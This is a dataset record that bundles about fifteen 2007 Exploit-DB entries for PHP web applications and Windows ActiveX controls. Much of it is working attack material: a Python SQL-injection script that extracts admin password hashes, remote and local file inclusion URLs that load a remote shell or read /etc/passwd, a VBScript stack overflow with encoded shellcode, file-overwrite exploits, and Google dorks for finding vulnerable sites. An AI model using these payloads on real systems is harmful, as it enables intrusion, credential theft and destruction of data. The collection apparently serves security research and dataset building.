QLWD/code_shield huggingface dataset:
标题: TutorialCMS 1.01 - Authentication Bypass EDB-ID: 3963 CVE: 2007-2822 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-21 漏洞利用脚本: #################################################################################
#          #
#       TutorialCMS <= 1.01 Authentication Bypass   #
#          #
# Discovered by: Silentz       #
# Payload: Authentication Bypass      #
# Website: http://www.w4ck1ng.com      #
#           #
# Vulnerability:        #
#          #
# Variables $loggedIn & $activated are not predefined.   #
#          #
# Vulnerable Files:        #
#                #
# login.php        #
# headerLinks.php        #
# submit1.php        #
# myFav.php        #
# userCP.php        #
#          #
#          #
# PoC: http://victim.com/tutorialcms/userCP.php?loggedIn=1&activated=1  #
#           #
# Subject To: register_globals set to on     #
# GoogleDork: "Powered By Photoshop Tutorials"      #
#          #
# Shoutz: The entire w4ck1ng community      #
#          #
# Notes to developers:        #
#          #
# You should allways fully disclose the vulnerabilities before someone #
#       else does, just looks better. Also, try changing the "Date Modified"  #
# stamp on the files before you wrap it up for upload ;)   #
#          #
#################################################################################

# milw0rm.com [2007-05-21] URL: https://www.exploit-db.com/exploits/3963
标题: SunLight CMS 5.3 - 'root' Remote File Inclusion EDB-ID: 3953 CVE: 2007-2774 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-19 漏洞利用脚本: ##############################################################################################
#SunLight CMS 5.3 <= Remote File Inclusion Vulnerability
#
#Dork:""cms SunLight 5.2"
#
#Dork2:http://search.seznam.cz/searchScreen?w="cms+SunLight+5.2"&mod=f
#
#Vuln Code
##############################################################################################
#
#ERROR1:_connect.php
#
#       /*-----vlozeni pristupovych dat-----*/
#      include($root."_access.php");   <<< RFI CODE
#
#
#BUG1:
#
#Example1:http://site.com/path/_connect.php?root=[[Sh3LL Script]]
#
#ERROR2:modules/startup.php
#
#    include($root."_connect.php");
#    include($root."modules/sessions.php");
#    include($root."modules/content_preload.php"); <<< RFI CODE
#
#
#BUG1:
#
#Example1:http://site.com/path/modules/startup.php?root=[[Sh3LL Script]]
#
#Script Download
##############################################################################################
#
#http://sunlight.profitux.cz/upload/stahuj/system/sunlight_53_standard.zip
#
##############################################################################################
#
#Cyber-Security
#
##############################################################################################

# milw0rm.com [2007-05-19] URL: https://www.exploit-db.com/exploits/3953
标题: Ol BookMarks Manager 0.7.4 - 'root' Remote File Inclusion EDB-ID: 3962 CVE: 2008-6409 2007-6518 2007-2817 2007-2816 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-21 漏洞利用脚本: #Olbookmarks =>0.7.4 multiple RFI (root)

Download script :

#D0rk : allintitle:ol'bookmarks

#Thanks Str0ke

#Exploit : http://mesh.dl.sourceforge.net/sourceforge/olbookmarks/olbookmarks-0.7.4.tar.gz

#http://victime.com/olbookmarks-0.7.4/themes/test1.php?root=shell

#http://victime.com/path/themes/blackorange.php?root=shell

#http://victime.com/path/theme/default.php?root=shell

#http://victime.com/path/theme/frames1.php?root=shell

#http://victime.com/path/theme/frames1_top.php?root=shell

#http://victime.com/path/theme/test1.php?root=shell

#http://victime.com/path/theme/test2.php?root=shell

#http://victime.com/path/theme/test3.php?root=shell

#http://victime.com/path/theme/test4.php?root=shell

#http://victime.com/path/theme/test5.php?root=shell

#http://victime.com/path/theme/test6.php?root=shell

#http://victime.com/path/theme/frames1_left.php?root=shell

#http://victime.com/path/theme/frames1_center.php?root=shell

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail[dot]com

# milw0rm.com [2007-05-21] URL: https://www.exploit-db.com/exploits/3962
标题: Zomplog 3.8 - 'mp3playlist.php' SQL Injection EDB-ID: 3955 CVE: 2007-2773 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-20 漏洞利用脚本: #!/usr/bin/python
#----------------------------------------------------------------------------------
# The sql injection : /zomplog-3.8/plugins/mp3playlist/mp3playlist.php?speler=[sql]
# I've code a sploit for the fun x)
#----------------------------------------------------------------------------------
# Zomplog website : http://zomplog.zomp.nl/
# Contact me : neomorphs-[at]-gmail-[dot]-com

import sys, urllib2

def usage():
 print "+---------------------------------------------------+"
 print "| Zomplog Remote SQL Injection <= 3.8 (mp3playlist) |"
 print "+---------------------------------------------------+"
 print "| Usage : zomplog.py [url + path]                   |"
 print "| Exemple : zomplog.py http://localhost/zomplog neo |"
 print "+---------------------------------------------------+"
 print "|      By NeoMorphS - Thxs to Gu1ll4um3r0m41n       |"
 print "|   Thxs too to #aerox(epiknet) #carib0u(worldnet)  |"
 print "+---------------------------------------------------+" 

def attack(url):
 sql = "/plugins/mp3playlist/mp3playlist.php?speler=999999999%20UNION%20SELECT%200,0,0,CONCAT(login,%200x2D4840434B2D,%20password),0,0,0,0,0%20%20FROM%20zomplog_users%20WHERE%20id=1%20/*"
 print "-> connect to website"
 try: source = urllib2.urlopen(url+sql).read()
 except: print "-> cannot connect to website"; sys.exit()
 try: print "-> admin hash : "+source.split('-H@CK-')[1].split("'")[0]
 except: print "-> cannot find the admin hash"

if (len(sys.argv) < 2):
 usage()
else:
 attack(sys.argv[1])

# milw0rm.com [2007-05-20] URL: https://www.exploit-db.com/exploits/3955
标题: LeadTools Raster Variant - 'LTRVR14e.dll' Remote File Overwrite EDB-ID: 3961 CVE: 2007-2851 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-21 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/21</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------
 <b>LeadTools Raster Variant Object Library (LTRVR14e.dll v. 14.5.0.44) Remote Arbitrary File Overwrite</b>
 url: http://www.leadtools.com/
 price: eheheh, take a look at thier site :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------------------

<object classid='clsid:00140B9B-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.WriteDataToFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/21 - LeadTools Raster Variant Object Library")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/21 - LeadTools Raster Variant Object Library")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-21] URL: https://www.exploit-db.com/exploits/3961
标题: MolyX BOARD 2.5.0 - 'index.php?lang' Local File Inclusion EDB-ID: 3949 CVE: 2007-2778 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-18 漏洞利用脚本: =============== MolyX BOARD 2.5.0 Local File Inclusion ==== Possibly other versions

=============== Vulnerability found by MurderSkillz ==============================================

=============== d0rk "Powered by MolyX BOARD 2.5.0" =========================================

=============== Website: g00ns.net g00ns-forum.net ============================================

=============== Irc: irc.exploitercode.com:6667 ts: ts.g00ns.net ====================================

=============== Script website: molyx.com ====================================================

############### Exploit ###################################################################

www.victim.com/[path to board if any]/index.php?lang=../../../../../../../../etc/passwd%00

This Vulnerability takes place in pretty much every file in this webapp...

########################################################################################

Shouts: FiSh,sCuZz, sick, clorox, z3r0, katalyst, SyNiCaL, overdose, pr0be, Trintitty, rezen, str0ke and everyone else at g00ns.net that I forgot..

# milw0rm.com [2007-05-18] URL: https://www.exploit-db.com/exploits/3949
标题: Build it Fast (bif3) 0.4.1 - Multiple Remote File Inclusions EDB-ID: 3947 CVE: 2007-2762 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-17 漏洞利用脚本: # bif3-0.4.1 <=  Remote File Include Vulnerablitiy

# D.Script: http://bif.lunix.com.ar/tgz/bif3-0.4.1.tgz

# Discovered by: Alkomandoz Hacker

# Homepage: asb-may.net & mohandko.com & sniper-sa.com


====================================
# Exploit:[Path]/Base/Application.php?pear_dir=Shell
# Exploit:[Path]/Widgets/Base/Footer.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifContainer.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifRoot.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifRoot2.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifRoot3.php?sys_dir=Shell
# Exploit:[Path]/Widgets/Base/widget.BifWarning.php?sys_dir=Shell
====================================

# Thanx:   AsbMay's Group & City Of Ghosts Team & Sniper-sa Team

# Greetz To: Sniper_Sa & Devil-X

# milw0rm.com [2007-05-17] URL: https://www.exploit-db.com/exploits/3947
标题: Libstats 1.0.3 - 'template_csv.php' Remote File Inclusion EDB-ID: 3948 CVE: 2007-2779 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-18 漏洞利用脚本: #Libstats 1.0.3 <=  Remote File Inclusion Vulnerability
#
#Vuln Code
##############################################################################################
#
#ERROR1:template_csv.php
#
#include $rInfo['content'];   <<< RFI CODE
#
#
#BUG1:
#
#Example1:http://site.com/path/template_csv.php?rInfo[content]=[[Sh3LL Script]]
#
#Script Download
##############################################################################################
#
#http://www.wendt.wisc.edu/projects/systems/libstats/releases/libstats-1.0.3.zip
#
##############################################################################################
#
#Cyber-Security <> Cyber-warrior.org
#
##############################################################################################

# milw0rm.com [2007-05-18] URL: https://www.exploit-db.com/exploits/3948
标题: MagicISO 5.4 (build239) - '.cue' Heap Overflow (PoC) EDB-ID: 3945 CVE: 2007-2761 类型: DOS 平台: LINUX 发布日期: 2007-05-17 漏洞利用脚本: #!/usr/bin/env ruby
###################################
#Credits to n00b for finding this bug.
#Magic iso has a stacked based buffer over-flow when 
#We pass an overly-long file name inside the .cue file
#We are able to control alot of the registers so
#Command execution is possible,But im still learning 
#Which means this will get released as a dos poc for 
#now till i can get the help i need..Any way i will provide 
#The dubug info for you to see for your self..If any one 
#Decides to write a Local exploit for this please give 
#Credits to n00b..Ok on with the work of info collecting.
#Vendor : http://www.magiciso.com/
#Tested on win xp sp2.
#I would also like to thank the people i emailed and pm about this
#Shouts:  ~  Str0ke  ~  Marsu  ~  SM  ~ Aelphaeis  ~  vade79
#              Thanx to all you guys who helped.
###################################
#...Debug info..
# Program received signal SIGSEGV, Segmentation fault.
#  [Switching to thread 1092.0x314]
# 0x0058f05e in ?? ()
# (gdb) i r
# eax            0x41414141       1094795585
# ecx            0x41414141       1094795585
# edx            0x41414141       1094795585
# ebx            0x41414545       1094796613
# esp            0x12f5c8 0x12f5c8
# ebp            0x12f5ec 0x12f5ec
# esi            0xf4e718 16049944
# edi            0xf4eb1c 16050972
# eip            0x58f05e 0x58f05e
# eflags         0x10206  66054
# cs             0x1b     27
# ss             0x23     35
# ds             0x23     35
# es             0x23     35
# fs             0x3b     59
# gs             0x0      0
# fctrl          0xffff1273       -60813
# fstat          0xffff0000       -65536
# ftag           0xffffffff       -1
# fiseg          0x0      0
# fioff          0x0      0
# foseg          0xffff0000       -65536
# fooff          0x0      0
# ---Type <return> to continue, or q <return> to quit---
# fop            0x0      0
# (gdb)
###################################
#As you can see from the debug info we control eax ecx edx..
#The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that 
#is used to overflow the heap buffer. One of the address can be of a function pointer which needs to be overwritten, for 
#example UEF and the other can be address of user supplied code that needs to be executed.

$VERBOSE=nil  #~ Shut the fuck up Let me do it my way ruby's over-zealous warnings..

Header1 =         
           "\x46\x49\x4c\x45\x20\x22"


Bof = 'A'* 2024

Header2  =   "\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20"+
                  "\x54\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32"+
                  "\x33\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31"+
                  "\x20\x30\x30\x3a\x30\x30\x3a\x30\x30"

n00b = Header1  + Bof + Header2
  
File.open( "MagicISO.cue", "w" ) do |the_file|

the_file.puts (n00b)

end

# milw0rm.com [2007-05-17] URL: https://www.exploit-db.com/exploits/3945
标题: Mambo Component com_yanc 1.4 Beta - 'id' SQL Injection EDB-ID: 3944 CVE: 2007-2792 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-17 漏洞利用脚本: ------------------------------
-------------------------------

Mambo com_yanc v1.4 beta (id) Blind Remote SQL Injection Vuln

-------------------------------------------------------------

Bulan: Cyber-Security

-------------------------------------------------------------

Exploit: index.php?option=com_yanc&Itemid=9999999&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

Example:http://www.tnrb.net/

-------------------------------------------------------------

google dork: inurl:index.php?option=com_yanc

-------------------------------------------------------------

# milw0rm.com [2007-05-17] URL: https://www.exploit-db.com/exploits/3944
标题: LeadTools JPEG 2000 - COM Object Remote Stack Overflow EDB-ID: 3950 CVE: 2007-2771 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-18 漏洞利用脚本: <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/18</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
 <b>LeadTools JPEG 2000 COM Objejct (LTJ2K14.ocx v. 14.5.0.35) Remote Stack-Based Buffer Overflow</b>
 url: http://www.leadtools.com/
 peice: eheheh, take a look at thier site :)
 
 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 full patched with Internet Explorer 7

 <font color = red><b>This exploits just open calc.exe</b></font>
-----------------------------------------------------------------------------------------------

<object classid='clsid:00140020-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  buff      = String(396, "A")

  get_EIP   = unescape("%EB%AA%3F%7E") 'call ESP (from user32.dll)

  nop       = String(16, unescape("%90"))

  shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
              unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
              unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
              unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
              unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
              unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
              unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
              unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
              unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
              unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
              unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
              unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
              unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
              unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
              unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
              unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
              unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
              unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
              unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
              unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
              unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
              unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

  egg       = buff + get_EIP + nop + shellcode + nop

  test.BitmapDataPath = egg
 End Sub

</script>
</span>
</code></pre>

# milw0rm.com [2007-05-18] URL: https://www.exploit-db.com/exploits/3950
标题: PrecisionID Barcode ActiveX 1.9 - Remote Denial of Service EDB-ID: 3937 CVE: 2007-2744 类型: DOS 平台: WINDOWS 发布日期: 2007-05-16 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------
 <b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Denail of Service</b>
 url: http://www.precisionid.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 all software that use this ocx are vulnerable to these exploits.

 If you try this exploit with IE 7, it just stops to answer
---------------------------------------------------------------------------------------

<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(348,"A")
  get_ESI = "aaaa"
  buff1 = String(665,"B")
  test.SaveBarCode buff + get_ESI + buff1
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-16] URL: https://www.exploit-db.com/exploits/3937
标题: PrecisionID Barcode ActiveX 1.9 - Arbitrary File Overwrite EDB-ID: 3938 CVE: 2007-2755 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-16 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------
 <b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Remote Arbitrary File Overwrite</b>
 url: http://www.precisionid.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 all software that use this ocx are vulnerable to these exploits.

 If you try this exploit with IE 7, it just stops to answer
-----------------------------------------------------------------------------------------------------

<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveToFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/16 - PrecisionID Barcode ActiveX")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-16] URL: https://www.exploit-db.com/exploits/3938
标题: Glossword 1.8.1 - 'custom_vars.php' Remote File Inclusion EDB-ID: 3935 CVE: 2007-2743 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-16 漏洞利用脚本: GlossWord v1.8

ÅŸu script deÄŸil ! --> http://glossword.info/ !

Site : http://sourceforge.net/projects/glossword/

Author : BeyazKurt - B3yazKurt@Hotmail.Com

 

kimse ÅŸeyimde deÄŸil !

Download : http://sourceforge.net/projects/glossword/

include_once($sys['path_addon'].'/multilingual_vars.php');

[path]/custom_vars.php?sys[path_addon]=EvilC0de

# milw0rm.com [2007-05-16] URL: https://www.exploit-db.com/exploits/3935
标题: BitsCast 0.13.0 - invalid string Remote Denial of Service EDB-ID: 3929 CVE: 2007-2726 类型: DOS 平台: WINDOWS 发布日期: 2007-05-15 漏洞利用脚本: BitsCast 0.13.0 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

BitsCast crashes when receiving a RSS 2.0 feed item with a invalid string* in sub-element
'pubDate'.


* '../A' x 8, 'A/../' x 8, and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
        <title>Test</title>
        <link></link>
        <description></description>

        <item>
                <title>Remote DoS PoC</title>
                <link></link>
                <description></description>
                <pubDate>../A../A../A../A../A../A../A../A../A../A../A../A</pubDate>
        </item>            
                
</channel>
</rss>

# milw0rm.com [2007-05-15] URL: https://www.exploit-db.com/exploits/3929